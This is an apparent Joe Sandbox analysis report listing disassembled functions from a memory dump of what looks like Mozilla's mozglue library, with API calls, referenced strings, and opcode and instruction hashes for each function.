Opcode Fuzzy Hash: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction Fuzzy Hash: A0014B70B09381CBDF508FEAE854A4233B5EFAEB1CF20552AD90182B40EB33E4448A65

Function 6C9A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9631A7), ref: 6C9A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9631A7), ref: 6C9A0627

Strings

<jemalloc>, xrefs: 6C9A05FA, 6C9A060F
: (malloc) Error in VirtualFree(), xrefs: 6C9A061B, 6C9A0625

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction ID: a38da1d309b1533c4685862c5a026f5d961b099aec86a31da728e9b2e11d8add
Opcode Fuzzy Hash: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction Fuzzy Hash: A7E08CE2A0111037F6142296AC86DBBB71CDBEA134F090039FD0D92701E94AFD1A52F6

Function 6C9705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction ID: 25e7542d1f47cc95e41a58ec81640489b08a0e7094f512fe028eb2741d4b8e12
Opcode Fuzzy Hash: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction Fuzzy Hash: 11A158B0A05705CFDB24CF29C994A99FBF5BF59304F1486AED44A97B00E731A945CFA0

Function 6C9C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C14E2
GetCurrentThreadId.KERNEL32 ref: 6C9C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9C15BA
free.MOZGLUE(?), ref: 6C9C16B4

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction ID: b7ddb7610c04cd1dd296049144f7fc88b74621e4345d0fe11369e7d7c606cb7f
Opcode Fuzzy Hash: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction Fuzzy Hash: D961E271A047409BDB11CF20C880BDEB7B8BFAA308F44851CED8A67711DB31E959CB96

Function 6C9B9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B9FDB
free.MOZGLUE(?,?), ref: 6C9B9FF0
free.MOZGLUE(?,?), ref: 6C9BA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9BA0BE
free.MOZGLUE(?,?), ref: 6C9BA0D5
free.MOZGLUE(?,?), ref: 6C9BA0EB

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction ID: ecde012a48f83f510aedcc496e44155f46f8d42b30e62f4fa8a7f7c302b9d0ea
Opcode Fuzzy Hash: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction Fuzzy Hash: DD61B075409601EFD711CF18C48059AB3F5FFA8328F54865DE899AB702EB32E986CBD1

Function 6C9BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9BD38A,?), ref: 6C9BDC6F
free.MOZGLUE(?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9BD38A,?), ref: 6C9BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9BD38A,?), ref: 6C9BDD4A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction ID: bda830ba8e9d07c23ddbb99ef156ffab56e8241b9105d3147a1d6a04f98b4e7a
Opcode Fuzzy Hash: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction Fuzzy Hash: 7E417AB6A00605DFCB00CF99C88099BB7F9FF98314B254569D946ABB14D731FC04CB90

Function 6C9A6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9A67C8

Part of subcall function 6C9B4290: memcpy.VCRUNTIME140(?,?,6C9C2003,6C9C0AD9,?,6C9C0AD9,00000000,?,6C9C0AD9,?,00000004,?,6C9C1A62,?,6C9C2003,?), ref: 6C9B42C4

Strings

data, xrefs: 6C9A6593

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction ID: 27cf290558b4b556e66a7ab402e139e226f6ca5b24cf264ed304f6a24c42e796
Opcode Fuzzy Hash: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction Fuzzy Hash: 21D1CFB5A093409FD724CF68C840B9FB7E5AFE5308F14892DE18997B51DB30E94ACB52

Function 6C9BC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9BC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9BC842

Part of subcall function 6C9BCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9DB5EB,00000000), ref: 6C9BCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9BC863
std::_Facet_Register.LIBCPMT ref: 6C9BC875

Part of subcall function 6C99B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9DB636,?), ref: 6C99B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9BC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BC8BC

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction ID: 6e29acee6d39ceda362bea6af0e471b8215f832c35521ce6ad83c8b21b797bf6
Opcode Fuzzy Hash: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction Fuzzy Hash: 1F11B671B043099BCB00EFA4D8C98AF7B78EFAD354B240129E606A7340DB30DD44CBA5

Function 6C99D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C96EB57,?,?,?,?,?,?,?,?,?), ref: 6C99D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C96EB57,?), ref: 6C99D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C96EB57,?), ref: 6C99D673
free.MOZGLUE(?), ref: 6C99D888

Strings

|Enabled, xrefs: 6C99D81E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction ID: b8af270e45bdffee28c4378cb8aefa02d6772f6bfeb40123ad225c5741cf5aeb
Opcode Fuzzy Hash: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction Fuzzy Hash: 02A126B1A043089FDB11CF69C4D07AEBBF5AF69318F18805DD8896B742D735E845CBA1

Function 6C99F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C99F480

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

CloseHandle.KERNEL32(00000000), ref: 6C99F555

Part of subcall function 6C9714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C971248,6C971248,?), ref: 6C9714C9
Part of subcall function 6C9714B0: memcpy.VCRUNTIME140(?,6C971248,00000000,?,6C971248,?), ref: 6C9714EF

Part of subcall function 6C96EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C96EEE3

CreateFileW.KERNEL32 ref: 6C99F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C99F523

Strings

\oleacc.dll, xrefs: 6C99F4CB

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction ID: 8c5bd9dcc1ca1ec3e83013aad948de609b8527faf0f8bff0275acd0e163c9e48
Opcode Fuzzy Hash: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction Fuzzy Hash: 3E41B4706087109FE720DF69C844BAAF7F8AF5931CF504A1CF59593650EB30D989CB92

Function 6C9C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9C7526
__Init_thread_footer.LIBCMT ref: 6C9C7566
__Init_thread_footer.LIBCMT ref: 6C9C7597

Strings

UnmapViewOfFile2, xrefs: 6C9C7552
kernel32.dll, xrefs: 6C9C7557

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction ID: b34dbb61f3bb58296828123f3a262f23145ddabcd0c8eb0e865547f2a73f8be7
Opcode Fuzzy Hash: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction Fuzzy Hash: A2213731B06500A7DF158FEAE814E49337AEFBFB28F24452AD50547F40CB32E94586A7

Function 6C9CA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EF770,-00000001,?,6C9DE330,?,6C98BDF7), ref: 6C9CA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C98BDF7), ref: 6C9CA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C98BDF7), ref: 6C9CA7E4
LeaveCriticalSection.KERNEL32(6C9EF770), ref: 6C9CA80A

Strings

accelerator.dll, xrefs: 6C9CA7BF

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction ID: 4bf3bc28bd92b3789a2120d5ad3a449bcb9dd41ed873b4e5ad4ac0139de51f16
Opcode Fuzzy Hash: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction Fuzzy Hash: 98017C707043049FDB448F96E884C2177B8FFA9B59715806AE8098B741DB71E800CBA2

Function 6C96F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C96EE51,?), ref: 6C96F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C96F0C2

Strings

ole32, xrefs: 6C96F0AD
Could not find CoTaskMemFree, xrefs: 6C96F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C96F0DC

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction ID: e5191b5302369395f11c9256288a5f5636944168439595698dd95ff82df3e1c5
Opcode Fuzzy Hash: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction Fuzzy Hash: 96E0DF7134C305DBBF541B63AC09B2637BC6FBF60D324802EE512C1F95EA20D010C66A

Function 6C9A0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977204), ref: 6C9A0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9A00A7
FreeLibrary.KERNEL32(?,6C977204), ref: 6C9A00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9A00A1
wintrust.dll, xrefs: 6C9A0083

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction ID: 6fced4a158f11db58b59a0793fa93da84f9301a263f61e9020566c42ba49b7a9
Opcode Fuzzy Hash: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction Fuzzy Hash: A2E01270608340ABEF80AFA6A8087023AF8AF6F348F60406AA912C2690DBB4C000CF55

Function 6C9A00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977235), ref: 6C9A00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9A00F7
FreeLibrary.KERNEL32(?,6C977235), ref: 6C9A010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9A00F1
wintrust.dll, xrefs: 6C9A00D3

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction ID: 37286910a3a8301dae7431877015268789472c8fc5b906e8427d5c699eb039fc
Opcode Fuzzy Hash: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction Fuzzy Hash: 54E04F7060D3459BEF805FA5E90A7613AFCEF2F208F70906AAA0F81A00D770C150CB50

Function 6C9CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9CC0E9), ref: 6C9CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9CC437
FreeLibrary.KERNEL32(?,6C9CC0E9), ref: 6C9CC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9CC431
ntdll.dll, xrefs: 6C9CC413

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction ID: 8de510b7b099d4d3b1600f066ff9f9d8f0ef04224f423a890e86a7c329baae20
Opcode Fuzzy Hash: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction Fuzzy Hash: B9E0BF707093019BDF80BF71D9197117FF8AF6E20CF20919BAA06D1691DB74D4008B55

Function 6C9C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C748B,?), ref: 6C9C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9C75D7
FreeLibrary.KERNEL32(?,6C9C748B,?), ref: 6C9C75EC

Strings

ntdll.dll, xrefs: 6C9C75B3
RtlNtStatusToDosError, xrefs: 6C9C75D1

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction ID: bc68222c2a64df2fe013f30f43062b9311f633d8f8ace1ced19a7669815b4a71
Opcode Fuzzy Hash: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction Fuzzy Hash: D3E04F70309301ABDF805FA3D8487053AF8EF6E64CF30442AA900C1602DB72C205CF45

Function 6C9C7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C7592), ref: 6C9C7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9C7627
FreeLibrary.KERNEL32(?,6C9C7592), ref: 6C9C763C

Strings

ntdll.dll, xrefs: 6C9C7603
